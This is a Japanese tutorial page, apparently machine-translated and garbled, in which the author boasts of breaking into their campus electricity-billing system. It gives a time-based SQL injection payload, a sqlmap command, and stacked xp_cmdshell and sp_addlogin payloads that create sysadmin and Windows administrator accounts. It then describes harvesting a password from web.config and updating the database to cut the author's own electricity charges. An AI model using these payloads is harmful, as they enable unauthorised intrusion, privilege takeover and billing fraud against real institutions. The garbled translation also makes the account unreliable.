Windows system >> Windowsの知識 >  >> コンピュータソフトウェアのチュートリアル >> コンピュータソフトウェアのチュートリアルについて >> ハッカーの侵入チュートリアル:キャンパスの電力システムの侵入

ハッカーの侵入チュートリアル:キャンパスの電力システムの侵入

  
.夏には電気代が消滅するのは費用がかかるため、学校では経済的な理由はないため、学校の電力システムのアイデアを始め、電力を節約したいと思います。直接作業はもちろんのこと、私はどのようにしてキャンパスの電力システムに侵入しましたか。 1.注入ポイントがあるかどうかをテストする最初に、この学校で利用可能なサイト全体のプログラムの脆弱性がないことを確認するために、私たちの学校には電気料金の問い合わせ用のサイトがあります。サイトはaspxです。学校から提供されたユーザー名とパスワードはすべてのゲストで、寝室番号を入力した後に問い合わせることができます。注入する箱に直接入れます。推測を入力’ +パスワードを誤って失ったプロンプトパスワードエラー、それはそれがmssql分割注射であることは明らかです。次のゲストを手動でテストしました; IF SYSTEM_USER = 'sa' WAITFOR DELAY '00:00:05まだ時差注入があり、それはsa許可です。つまり、sqlmapの実行で直接注入があります。 2. sqlmap特権ポストインジェクションは最初にパッケージをキャプチャしてからsqlmap.py -r s.txt -p TextBox1 --dbs -username -passwordなにをしようとしましたが、ハッシュしたくないのですか。許可します。直接送信; exec master.dbo.sp_addlogin vgy95 $、V_gy95; ---; exec master.dbo.sp_addsrvrolemember vgy95、sysadmin; ---; exec master..xp_cmdshell"ネットユーザーvgy95 $ V_gy95 /add" -; exec master ..xp_cmdshell" net localgroup管理者vgy95 $ /add" - 幸いにも、このサーバーは面倒なストアドプロシージャの制限を設定せず、すべて正常に実行されました。これで、sqlserverと管理者権限を持つリモートユーザーの両方にsa権限が与えられました。電気料金データのねじれ修正誰もが、私はこの基本はほぼ終わったと思いますし、その後物事を更新または挿入しますが、プロセスはこれよりはるかに困難です。まず最初に、データベースを見てみましょう。それは明らかにelecctldataです。私は私の残りの学位が419.49度(この電気料金が変更された)であることを見て、そして実装の後で、私はデータベース "419.49"で直接検索しました、私はDorm_Room_Infoテーブルで見つけられた私の寝室IDは598であり、dbo.posクエリセパレータで保存された電気料金のテーブルが実行されますID = 598のElecCtlDataselect *を使用してフィールドElecLeftを取得し、残りの電気料金、現在の電気料金は419.49です。小数点の間の違い。すぐにクエリページのコードを裏返しに書く方法ですが、見つかりませんでした。私はすぐに.netとdllの組み合わせを考えて、同じディレクトリにdllを見ました、dll逆アセンブリツール(lector.exe)はこのコードを見つけました:部屋番号としてr.nameを選択してください、キャスト(p。 ElecLeft /100.0(10進数(20,2)として)、p.lastUpdateTimeから検針時間としてpos p、dorm_room_info rここでp.id = r.posidおよびr.name = '01" ElecLeftフィールドの値を100で割った値を書くことがクエリの次数であるため、2つの小数点の間にギャップがあります。ステートメントを直接構築する原理を知っています。UPDATE Pos SET ElecLeft = 66666 WHERE ID = 598は、電気代をチェックすることに興奮して、実際にはどのような状況の元の値です! ?実際には成功していないし、片側を実行し、まだ成功を示していますがクエリ後の元の値。 Baiduが見て、多くの人がこれはデータベースが物を書いたからだと言ったので、それはロールバックしました。つまり、データベースでデータが更新されると、トランザクションはsetステートメントに従ってデータの各操作の整合性を検証します。矛盾がある場合、データはロールバックされます。リモートログインした後、デバッグにT-sqlを使用できないことがわかったので、データベース追跡のためにSQLServerProfilerを開きました。 ApplicationNameが.Net sqlClient Data Providerに書き込まれているのを見たのですが、データベースにデータを書き込む外部デバイスがあるので、電気代を変更することはできません。そして、難しい問題に陥りました。サーバーはWindows 2008 R2であるため、パスワードの要件はもっと多く、大文字と特殊記号がなければならないので、私はその時点では絶望的だと感じました。このサイトのweb.configを裏返して、saユーザーのパスワードがmjmic **** 123であることを確認したので、このパスワードを使用して管理者ユーザーを試すことにしました。 ! ! !図に示すように、通信プログラムがデータベースにデータを書き込んでいることがわかりました。変更するには、このプログラムを停止するか、クライアントの公式Webサイトを使用するだけです。わかりました!なぜ私は自分のユーザー用にこのクライアントを実行しなかったのかという質問を受けたのですが、それを実行しましたが、作成したユーザーには変更する権限がなく、照会のみが許可されました。さて、これは私のキャンパスネットワークの浸透、電力システムの浸透の最初のステップです。いくつかの街路灯を含め、私たちの学校のすべての寝室を管理するシステムですが、充電料金を強制的に閉じることも開くこともできますが、それでも非常に危険であり、夏休みです。これらのパッケージがお互いから学べることを願っています。この記事は[System Home] www.xp85.comから来ています
Copyright © Windowsの知識 All Rights Reserved